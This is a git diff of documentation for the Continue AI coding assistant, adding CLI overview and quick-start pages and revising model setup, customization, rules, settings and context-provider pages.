+## What's Next?
+
+
+
+ Learn basic usage with practical examples
+
+
+
+ Build automated workflows with Continue CLI
+
+
+
+## Getting Help
+
+If you encounter issues:
+
+- Ask for help in [our discussions](https://github.com/continuedev/continue/discussions)
+- Report bugs on [GitHub](https://github.com/continuedev/continue)
diff --git a/docs/cli/overview.mdx b/docs/cli/overview.mdx
new file mode 100644
index 000000000..f0b56c642
--- /dev/null
+++ b/docs/cli/overview.mdx
@@ -0,0 +1,243 @@
+---
+title: "Continue CLI (cn) Overview"
+description: "Command-line interface for automated coding tasks, scripting, and headless development workflows with Continue's AI coding capabilities"
+sidebarTitle: "Overview"
+---
+
+
+
+
+
+**Continue enables developers to ship faster with Continuous AI.**
+
+
+ Build features from descriptions. Debug and fix issues. Navigate any codebase.
+ Automate tedious tasks.
+
+
+## Get started in 30 seconds
+
+Prerequisites:
+
+- [Node.js 18 or newer](https://nodejs.org/en/download/)
+- A [Continue Hub](https://hub.continue.dev) account (recommended) or local configuration
+
+```bash npm
+# Install Continue CLI
+npm install -g @continuedev/cli
+
+# Navigate to your project
+
+cd your-awesome-project
+
+# Start coding with Continue
+
+cn
+
+# You'll be prompted to set up on first use
+
+```
+
+That's it! You're ready to start automating with Continue CLI.
+
+[Continue with CLI Quickstart →](/cli/quick-start)
+
+## Two Ways to Use Continue CLI
+
+Continue CLI offers two distinct modes designed for different workflows:
+
+### TUI Mode: Interactive Development
+
+**Perfect for exploration, debugging, and iterating on AI workflows**
+
+```bash
+cn
+> @src/components/UserProfile.js Review this component for security issues
+> Generate comprehensive unit tests
+> Suggest performance improvements
+```
+
+- **Interactive conversations** with your codebase
+- **Iterate and refine** prompts and approaches
+- **Explore and understand** complex codebases
+- **Perfect for experimentation** and learning
+
+### Headless Mode: Production Automation
+
+**Perfect for CI/CD, automation, and reliable workflows**
+
+```bash
+cn -p "Generate a conventional commit message for staged changes"
+cn -p "Review pull request changes for security vulnerabilities"
+cn -p "Update documentation based on recent code changes"
+```
+
+- **Single-command execution** for automation
+- **Reliable, repeatable results** for production use
+- **CI/CD and pipeline integration**
+- **Git hooks and automated workflows**
+
+
+ **Tool Permissions in TUI vs Headless Mode**
+
+ Continue CLI tools have three permission levels:
+ - **allow**: Executes automatically without confirmation
+ - **ask**: Prompts for user confirmation before execution (e.g., `writeFile`, `runTerminalCommand`)
+ - **exclude**: Tool is not available to the AI
+
+ **In headless mode**, tools with "ask" permission are automatically excluded to prevent the AI from seeing tools it cannot call. This ensures reliable automation without user intervention.
+
+ **In TUI mode**, tools with "ask" permission are available and will prompt for confirmation when the AI attempts to use them.
+
+ 💡 **Tip**: If your workflow requires tools that need confirmation (like file writes or terminal commands), use TUI mode. For fully automated workflows with read-only operations, use headless mode.
+
+
+### Development Workflow: TUI → Headless
+
+
+ **Pro Tip**: Start in TUI mode to iterate on your AI agent. Once
+ you have a workflow that works reliably, deploy it as a Continuous AI
+ automation.
+
+
+1. **Experiment in TUI mode** to perfect your agent
+2. **Test different approaches** interactively until you get consistent results
+3. **Convert successful workflows** to automated Continuous AI commands
+4. **Deploy in production** with confidence in your proven approach
+
+## Why developers love Continue CLI
+
+- **Works in your terminal**: Not another chat window. Not another IDE. Continue CLI meets you where you already work, with the tools you already love.
+- **Takes action**: Continue CLI can directly edit files, run commands, and create commits. Need more? Check out our [MCPs](/customize/deep-dives/mcp).
+- **Automate tasks**: Create issues from PostHog data, automatically assign labels to issues, and more. Do all this in a single command from your developer machines, or automatically in CI.
+- **Flexible development flow**: Start interactive, then automate proven workflows.
+
+## Key Capabilities
+
+### Context Engineering
+
+- Use `@` to reference files and provide context
+- Use `/` to run slash commands for specific tasks
+- Access the same context providers as IDE extensions
+
+### Tool Integration
+
+- File editing and creation
+- Terminal command execution
+- Codebase understanding and analysis
+- Git integration
+- Web search and documentation access
+
+### Model Flexibility
+
+- Switch between models with `/model` command
+- Use any model configured in your `config.yaml`
+- Access Continue Hub models and configurations
+
+## Continue Hub Integration
+
+Continue CLI integrates seamlessly with [Continue Hub](https://hub.continue.dev) for:
+
+### API Access
+
+Get an API key for automation workflows:
+
+1. Visit [Continue Hub API Keys](https://hub.continue.dev/settings/api-keys)
+2. Create a new API key
+3. Use with `cn login` or in your automation scripts
+
+### Secrets Management
+
+Store secure credentials for CLI workflows:
+
+1. Visit [Continue Hub Secrets](https://hub.continue.dev/settings/secrets)
+2. Add your API keys and sensitive data
+3. Reference in configurations with `${{ secrets.SECRET_NAME }}`
+
+### Configuration Sync
+
+- Cloud-managed configurations automatically sync
+- Share configurations across team members
+- Version control for your AI workflows
+
+## Common Use Cases
+
+### TUI Mode Examples
+
+**Interactive development and exploration:**
+
+
+```bash Codebase Exploration
+# Start interactive session
+cn
+> @src/components Find all unused React components
+> /explain How does authentication work in this codebase?
+> @auth/ What security patterns are used here?
+```
+
+```bash Iterative Debugging
+# Debug issues interactively
+cn
+> @tests/auth.test.js This test is failing, help me understand why
+> @src/auth/middleware.js Let's examine this middleware
+> /debug What could be causing the timeout error?
+```
+
+```bash Workflow Development
+# Develop and test automation workflows
+cn
+> @package.json @CHANGELOG.md Generate a release notes template
+> # Test and refine the approach
+> # Once working, convert to: cn -p "Generate release notes"
+```
+
+
+
+### Headless Mode Examples
+
+**Production automation and scripting:**
+
+
+```bash Git Automation
+# Generate commit messages
+cn -p "Generate a conventional commit message for the current changes"
+
+# Code review automation
+
+cn -p "Review the current git changes for bugs and suggest improvements"
+
+````
+
+```bash CI/CD Integration
+# In your pipeline scripts
+cn -p "Analyze test failures and suggest fixes"
+
+# Automated documentation updates
+cn -p "@README.md Update this documentation based on recent changes"
+````
+
+```bash Issue Management
+# Create GitHub issues from PostHog data
+cn -p "@posthog-data.json Create GitHub issues for UX problems found in this session data"
+
+# Automated security audits
+cn -p "Scan the codebase for potential security vulnerabilities"
+```
+
+
+
+## Next steps
+
+
+
+ Learn basic commands and common workflows
+
+
+
+ Install Continue CLI and set up your environment
+
+
+
+ Task-specific tutorials and examples
+
+
diff --git a/docs/cli/quick-start.mdx b/docs/cli/quick-start.mdx
new file mode 100644
index 000000000..c663af1f1
--- /dev/null
+++ b/docs/cli/quick-start.mdx
@@ -0,0 +1,186 @@
+---
+title: "Continue CLI Quick Start"
+description: "Get hands-on experience with Continue CLI through practical examples and common use cases"
+sidebarTitle: "Quick Start"
+---
+
+Get hands-on experience with Continue CLI through practical development workflows.
+
+
+
+ TUI Mode (`cn` command) is for **large development tasks** that require
+ agentic workflows with human oversight. Perfect for complex refactors,
+ feature implementation, or one-off automation tasks that need monitoring and
+ iteration.
+
+
+ Headless Mode (`-p` flag) is for **reliable, repeatable tasks** that no
+ longer need constant supervision. Perfect for CI/CD pipelines, git hooks,
+ and automated workflows you've already tested and refined.
+
+
+
+## TUI Mode: Large Development Tasks
+
+Make sure you have [Continue CLI installed](/cli/install) and are in a project directory.
+
+### Example: Implementing a New Feature
+
+```bash
+# Navigate to your project directory
+cd your-awesome-project
+
+# Start TUI Mode for complex development work
+cn
+```
+
+**Example workflow for adding authentication:**
+
+```
+> I need to add JWT authentication to this Express app. Let me start by showing you the current structure.
+
+> @src/app.js @package.json Here's my current setup. Can you implement JWT auth with middleware, login/register routes, and user model?
+
+> [Agent analyzes codebase and implements auth system]
+> [You review changes, test, and provide feedback]
+> [Agent iterates based on your input until the feature is complete]
+```
+
+### Example: Complex Refactoring
+
+```bash
+cn
+```
+
+**Refactoring a monolithic component:**
+
+```
+> @src/components/Dashboard.jsx This component is 800 lines and does too much. Help me break it into smaller, reusable components.
+
+> [Agent analyzes component structure]
+> [Proposes component breakdown strategy]
+> [You approve approach]
+> [Agent implements the refactor with proper props and state management]
+> [You test and request adjustments]
+```
+
+### When to Use TUI Mode
+
+✅ **Large development tasks** that need oversight
+✅ **Complex refactors** requiring multiple steps
+✅ **New feature implementation** with unknowns
+✅ **One-off automation tasks** you haven't done before
+✅ **Debugging complex issues** that need exploration
+
+## Headless Mode: Automated Workflows
+
+Once you've refined a workflow in TUI Mode, convert it to Continuous AI for automation.
+
+### Example: From REPL → Continuous AI
+
+**Step 1: Develop in TUI Mode**
+
+```bash
+cn
+> @package.json @CHANGELOG.md Generate release notes for version 2.1.0
+> [Test and refine the prompt until it works perfectly]
+```
+
+**Step 2: Convert to Continuous AI**
+
+```bash
+# Now use the refined workflow in automation
+cn -p "Generate release notes for the current version based on package.json and recent commits"
+```
+
+### Common Continuous AI Workflows
+
+```bash
+# Git automation
+cn -p "Generate a conventional commit message for staged changes"
+cn -p "Review the last 3 commits for potential issues"
+
+# Code quality
+cn -p "Fix all TypeScript errors in the src/ directory"
+cn -p "Update outdated dependencies and fix breaking changes"
+
+# Documentation
+cn -p "@README.md Update documentation based on recent changes"
+cn -p "Generate API documentation from JSDoc comments"
+
+# CI/CD integration
+cn -p "Analyze test failures and create GitHub issue with findings"
+cn -p "Update version numbers and create release branch"
+```
+
+### When to Use Headless Mode
+
+✅ **Proven workflows** you've tested in TUI Mode
+✅ **Repetitive tasks** that no longer need oversight
+✅ **CI/CD automation** in pipelines
+✅ **Git hooks** for automated checks
+✅ **Scheduled tasks** that run unattended
+
+
+ **Tool Permission Differences Between Modes**
+
+ Tools requiring user confirmation ("ask" permission) like `writeFile` and `runTerminalCommand` are:
+ - **Available in TUI mode** - AI can use them with your approval
+ - **Excluded in headless mode** - AI cannot see or call them
+
+ This prevents the AI from attempting operations that require user interaction when running in automated environments. Choose TUI mode if your workflow needs tools that modify files or run commands.
+
+
+### Available Slash Commands
+
+Common slash commands available in CLI:
+
+- `/clear` - Clear the chat history
+- `/compact` - Summarize chat history into a compact form
+- `/config` - Switch configuration or organization
+- `/exit` - Exit the chat
+- `/fork` - Start a forked chat session from the current history
+- `/help` - Show help message
+- `/info` - Show session information
+- `/init` - Create an AGENTS.md file
+- `/login` - Authenticate with your account
+- `/logout` - Sign out of your current session
+- `/mcp` - Manage MCP server connections
+- `/model` - Switch between available chat models
+- `/resume` - Resume a previous chat session
+- `/whoami` - Check who you're currently logged in as
+
+Use `/help` to see all available commands.
+
+## The Development Workflow
+
+
+ **Recommended Approach**: Start complex tasks in TUI Mode to iterate and
+ refine your approach. Once you have a reliable workflow, convert it to
+ Headless Mode for automation.
+
+
+### Workflow Pattern
+
+1. **🔬 Experiment in TUI Mode**
+
+ - Try complex development tasks with human oversight
+ - Iterate on prompts and approaches until they work reliably
+ - Test edge cases and refine the agent's behavior
+
+2. **⚡ Automate with Continuous AI**
+ - Convert proven REPL workflows to single commands
+ - Deploy in CI/CD, git hooks, or scheduled tasks
+ - Run with confidence knowing the approach is tested
+
+## Next Steps
+
+
+
+ Build an automated PostHog to GitHub issues workflow
+
+
+
+ Learn to build and deploy AI-powered development workflows
+
+
diff --git a/docs/customization/models.mdx b/docs/customization/models.mdx
index 779cf0f07..7c9fd9f44 100644
--- a/docs/customization/models.mdx
+++ b/docs/customization/models.mdx
@@ -33,97 +33,101 @@ Read more about [model roles](/customize/model-roles), [model capabilities](/cus
[Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) from Anthropic
1. Get your API key from [Anthropic](https://console.anthropic.com/)
-2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to an agent on Continue Hub
+2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to a config on Continue Hub
3. Add `ANTHROPIC_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) from Qwen
1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys)
-2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) to an agent on Continue Hub
+2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) a config on Continue Hub
3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[GPT-5](https://hub.continue.dev/openai/gpt-5) from OpenAI
1. Get your API key from [OpenAI](https://platform.openai.com)
-2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) to an agent on Continue Hub
+2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) a config on Continue Hub
3. Add `OPENAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) from Moonshot AI
1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys)
-2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) to an agent on Continue Hub
+2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) a config on Continue Hub
3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) from Google
1. Get your API key from [Google AI Studio](https://aistudio.google.com)
-2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) to an agent on Continue Hub
+2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) a config on Continue Hub
3. Add `GEMINI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
-[Grok 4](https://hub.continue.dev/xai/grok-4) from xAI
+[Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) from xAI
1. Get your API key from [xAI](https://console.x.ai/)
-2. Add [Grok 4](https://hub.continue.dev/xai/grok-4) to an agent on Continue Hub
+2. Add [Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) a config on Continue Hub
3. Add `XAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) from Mistral AI
1. Get your API key from [Mistral AI](https://console.mistral.ai/)
-2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) to an agent on Continue Hub
+2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) a config on Continue Hub
3. Add `MISTRAL_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
[gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) from OpenAI
1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys)
-2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) to an agent on Continue Hub
+2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) a config on Continue Hub
3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets)
-4. Click `Reload config` in the agent selector in the Continue IDE extension
+4. Click `Reload config` in the config selector in the Continue IDE extension
### Local Models
+
+Need a quick setup walkthrough? Check out [Using Ollama with Continue: A Developer's Guide](https://docs.continue.dev/guides/ollama-guide).
+
+
These models can be run on your computer if you have enough VRAM.
-Their limited tool calling and reasoning capabilities will make it challenging to use Agent mode.
+Their limited tool calling and reasoning capabilities will make it challenging to use agent mode.
[Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b)
-1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) to an agent on Continue Hub
+1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
[gpt-oss-20b](https://hub.continue.dev/ollama/gpt-oss-20b)
-1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) to an agent on Continue Hub
+1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
[Devstral Small 27B](https://hub.continue.dev/ollama/devstral)
-1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) to an agent on Continue Hub
+1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
[Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) from Qwen
-1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) to an agent on Continue Hub
+1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
[Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) from Google
-1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) to an agent on Continue Hub
+1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
[Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) from Qwen
-1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) to an agent on Continue Hub
+1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) a config on Continue Hub
2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide)
-3. Click `Reload config` in the agent selector in the Continue IDE extension
+3. Click `Reload config` in the config selector in the Continue IDE extension
diff --git a/docs/customization/overview.mdx b/docs/customization/overview.mdx
index edbeeee16..f920ddc43 100644
--- a/docs/customization/overview.mdx
+++ b/docs/customization/overview.mdx
@@ -1,6 +1,6 @@
---
title: "Customization Overview"
-description: "Learn how to customize Continue with model providers, context providers, slash commands, and tools to create your perfect AI coding agent"
+description: "Learn how to customize Continue with model providers, slash commands, and tools"
---
Continue can be deeply customized to fit your specific development workflow and preferences. This guide covers the main ways you can customize Continue to enhance your coding experience.
@@ -11,25 +11,25 @@ Continue allows you to choose your favorite or even add multiple model providers
## Select Different Models for Specific Tasks
-Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for chat than you do for autocomplete. Learn more about [model roles](/customize/model-roles).
+Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for Chat mode than you do for Autocomplete. Learn more about [model roles](/customize/model-roles).
## Create a Slash Command
-Slash commands allow you to easily add custom functionality to Continue. You can use a slash command that allows you to generate a shell command from natural language, or perhaps generate a commit message, or create your own custom command to do whatever you want. Learn more about [slash commands](/customize/deep-dives/slash-commands).
+Slash commands allow you to easily add custom prompts to Continue. Learn more about [slash commands](/customize/deep-dives/prompts).
## Call External Tools and Functions
-Unchain your LLM with the power of tools using [Agent](/features/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools)
+Unchain your LLM with the power of tools using [Agent mode](/ide-extensions/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools)
-Whatever you choose, you'll probably start by editing your Agent.
+Whatever you choose, you'll probably start by editing your configuration.
-## Edit Your Agent
+## Edit Your Configuration
-You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon.
+You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon.
-
+
-## Manage Your Agent
+## Manage Your Configuration
-- See [Editing Hub Agents](/hub/agents/edit-an-agent) for more details on managing your hub agent
-- See the [Config Deep Dive](/reference) for more details on configuring local agents.
+- See [Editing Hub Configurations](/hub/configs/edit-a-config) for more details on managing your hub configuration
+- See the [Config Deep Dive](/reference) for more details on local configurations
\ No newline at end of file
diff --git a/docs/customization/prompts.mdx b/docs/customization/prompts.mdx
index cf229284d..6ca6e1917 100644
--- a/docs/customization/prompts.mdx
+++ b/docs/customization/prompts.mdx
@@ -13,4 +13,6 @@ description: "These are the specialized instructions that shape how models respo
## Learn More
-Prompts have the same syntax as [prompt files](/customization/prompts). The `config.yaml` spec for `prompts` can be found [here](/reference#prompts).
+- [Explore prompts](https://hub.continue.dev/explore?type=prompts) on the Hub
+- Learn more in the [prompts deep dive](/customize/deep-dives/prompts)
+- View [`prompts`](/reference#prompts) in the YAML Reference for more details
diff --git a/docs/customization/rules.mdx b/docs/customization/rules.mdx
index 75dbfc811..0cd8d45db 100644
--- a/docs/customization/rules.mdx
+++ b/docs/customization/rules.mdx
@@ -13,6 +13,30 @@ By implementing rules, you transform the AI from a generic coding agent into a k
## How Rules Work
-Your agent detects rules and applies the specified rules while in [Agent](/features/agent/quick-start), [Chat](/features/chat/quick-start), and [Edit](/features/edit/quick-start) modes.
+Your agent detects rules and applies the specified rules while in [Agent](/ide-extensions/agent/quick-start), [Chat](/ide-extensions/chat/quick-start), and [Edit](/ide-extensions/edit/quick-start) modes.
+
+## Where to Manage Rules
+
+
+
+- Create files in `.continue/rules` folder
+- Automatically appear with Hub assistants
+- Edit directly in your file system
+- Version controlled alongside your code
+- Best for project-specific rules (e.g., "remember to generate migrations after modifying the db")
+
+
+
+- Manage on [Continue Hub](https://hub.continue.dev)
+- Reference in config.yaml with `uses:`
+- Share with team and community
+- Easy to include in multiple agents
+- Best for organization-wide rules (e.g., "always use X library for Y task")
+
+
+
+
+**Quick Setup**: Start with local rules for immediate use, then promote commonly used rules to the Hub for sharing and reuse.
+
Learn more in the [rules deep dive](/customize/deep-dives/rules), and view [`rules`](/reference#rules) in the YAML Reference for more details.
\ No newline at end of file
diff --git a/docs/customization/settings.mdx b/docs/customization/settings.mdx
new file mode 100644
index 000000000..756195a64
--- /dev/null
+++ b/docs/customization/settings.mdx
@@ -0,0 +1,190 @@
+---
+title: Settings
+description: Configure Continue through VS Code's streamlined settings interface
+---
+
+
+
+The new settings experience introduces a **card-based layout** that reduces visual clutter while maintaining powerful functionality. Every setting is more discoverable and easier to modify, whether you're on an ultrawide monitor or a small laptop screen.
+
+## Quick Access
+
+
+
+ Click the gear in the Continue sidebar
+
+
+ File → Preferences → Settings → Extensions → Continue
+
+
+ Edit `config.yml` directly for advanced options
+
+
+
+
+ Use the toolbar buttons for quick access to specific settings: - **Rules**
+ (pencil icon) - Custom coding preferences - **Tools** (wrench icon) - Manage
+ integrations - **Models** (cube icon) - Configure AI providers
+
+
+## Core Settings
+
+
+
+
+
+ | Setting | Description |
+ |---------|-------------|
+ | Session Tabs | Manage multiple chat sessions |
+ | Code Wrapping | Auto-wrap long code lines |
+ | Markdown Display | Show raw markdown vs rendered |
+ | Chat Scrollbar | Toggle scrollbar visibility |
+
+
+
+ | Setting | Description |
+ |---------|-------------|
+ | Auto-accept Diffs | Apply code changes automatically |
+ | Tool Rejection | Continue after tool rejection |
+ | Auto-naming | Generate session titles automatically |
+
+
+
+
+
+ Configure code completions:
+
+
+
+
+ Autocomplete models need to be added to your config to enable selecting an autocomplete model. If none is available, you will be linked to the docs showing recommended models. See our [model recommendations](/customize/model-roles/autocomplete) for the best autocomplete models.
+
+
+
+
+
+ To better understand how to set up configs and models, see our [Understanding Configs guide](/guides/understanding-configs).
+
+
+
+
+
+ Control how Continue understands your codebase:
+
+
+
+
+
+ Toggle codebase indexing in the settings panel
+
+
+ Watch real-time status in the UI
+
+
+ Check which files are indexed via the status indicator
+
+
+
+
+ Indexing enables Continue to understand your entire codebase structure, significantly improving context awareness and suggestions.
+
+
+
+
+
+
+ These features are in beta and may change or have stability issues.
+
+
+ | Feature | Purpose |
+ |---------|---------|
+ | Add Current File by Default | The currently open file is added as context in every new conversation |
+ | Enable experimental tools | Enables access to experimental tools that are still in development |
+ | Only use system message tools | Continue will not attempt to use native tool calling and will only use system message tools |
+ | @Codebase: use tool calling only | @codebase context provider will only use tool calling for code retrieval |
+ | Stream after tool rejection | Streaming will continue after the tool call is rejected |
+
+
+
+
+## Model & Assistant Selection
+
+
+
+The refined assistant selector features:
+
+- **Organization badges** for easy provider identification
+- **Smart error handling** that sorts problematic configurations while keeping them selectable
+- **Keyboard navigation** for quick model switching
+
+## Privacy & Data
+
+
+
+ All code analysis happens locally unless explicitly shared
+
+
+ Opt in/out of anonymous usage statistics
+
+
+ Sessions auto-save and restore between IDE restarts
+
+
+
+## Troubleshooting
+
+
+
+ - Verify API keys in `config.yml` - Check network connectivity - Confirm
+ endpoint URLs are correct
+
+
+
+ - Review MCP server configurations - Check tool permissions - Verify tool
+ dependencies are installed
+
+
+
+ - Check file permissions
+ - Review `.gitignore` patterns
+ - Verify sufficient disk space
+
+
+
+
+
+ Still having issues? Check our comprehensive [troubleshooting
+ guide](/troubleshooting) or visit the [FAQs](/faqs) for more solutions.
+
+
+## Next Steps
+
+
+
+ Set up your AI providers
+
+
+ Extend Continue with MCP tools
+
+
+ Define coding preferences
+
+
+ Customize AI behavior
+
+
diff --git a/docs/customize/custom-providers.mdx b/docs/customize/custom-providers.mdx
index 068f0cdca..702e8f9af 100644
--- a/docs/customize/custom-providers.mdx
+++ b/docs/customize/custom-providers.mdx
@@ -9,7 +9,7 @@ As an example, say you are working on solving a new GitHub Issue. You type '@Iss
## How Do Context Blocks Work?
-You can add context providers to assistants using [`context` blocks](/hub/blocks/block-types#context). Explore available context blocks in [the hub](https://hub.continue.dev/explore/context).
+Explore available context blocks in [the hub](https://hub.continue.dev/explore/context).
## Built-in Context Providers
@@ -19,116 +19,62 @@ You can add any built-in context-providers in your config file as shown below:
Reference any file in your current workspace.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: file
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "file" }] }
-```
-
### @Code Context Provider – Reference Functions and Classes
Reference specific functions or classes from throughout your project.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: code
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "code" }] }
-```
-
### @Git Diff Context Provider – Reference Branch Changes
Reference all of the changes you've made to your current branch. This is useful if you want to summarize what you've done or ask for a general review of your work before committing.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: diff
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "diff" }] }
-```
-
### @Current File Context Provider – Reference the Active File
Reference the currently open file.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: currentFile
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "currentFile" }] }
-```
-
### @Terminal Context Provider – Reference Last Terminal Command and Output
Reference the last command you ran in your IDE's terminal and its output.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: terminal
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "terminal" }] }
-```
-
### @Docs Context Provider – Reference Documentation Site Content
Reference the contents from any documentation site.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: docs
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "docs" }] }
-```
-
Note that this will only enable the `@Docs` context provider.
To use it, you need to add a documentation site to your config file. See the [docs](/customize/overview#documentation-context) page for more information.
@@ -137,9 +83,6 @@ To use it, you need to add a documentation site to your config file. See the [do
Reference the contents of all of your open files. Set `onlyPinned` to `true` to only reference pinned files.
-- YAML
-- JSON
-
config.yaml
```
@@ -149,21 +92,12 @@ context:
onlyPinned: true
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "open", "params": { "onlyPinned": true } }] }
-```
-
### @Web Context Provider – Reference Relevant Web Pages
Reference relevant pages from across the web, automatically determined from your input.
Optionally, set `n` to limit the number of results returned (default 6).
-- YAML
-- JSON
-
config.yaml
```
@@ -173,19 +107,10 @@ context:
n: 5
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "web", "params": { "n": 5 } }] }
-```
-
### @Codebase Context Provider – Reference Relevant Codebase Snippets
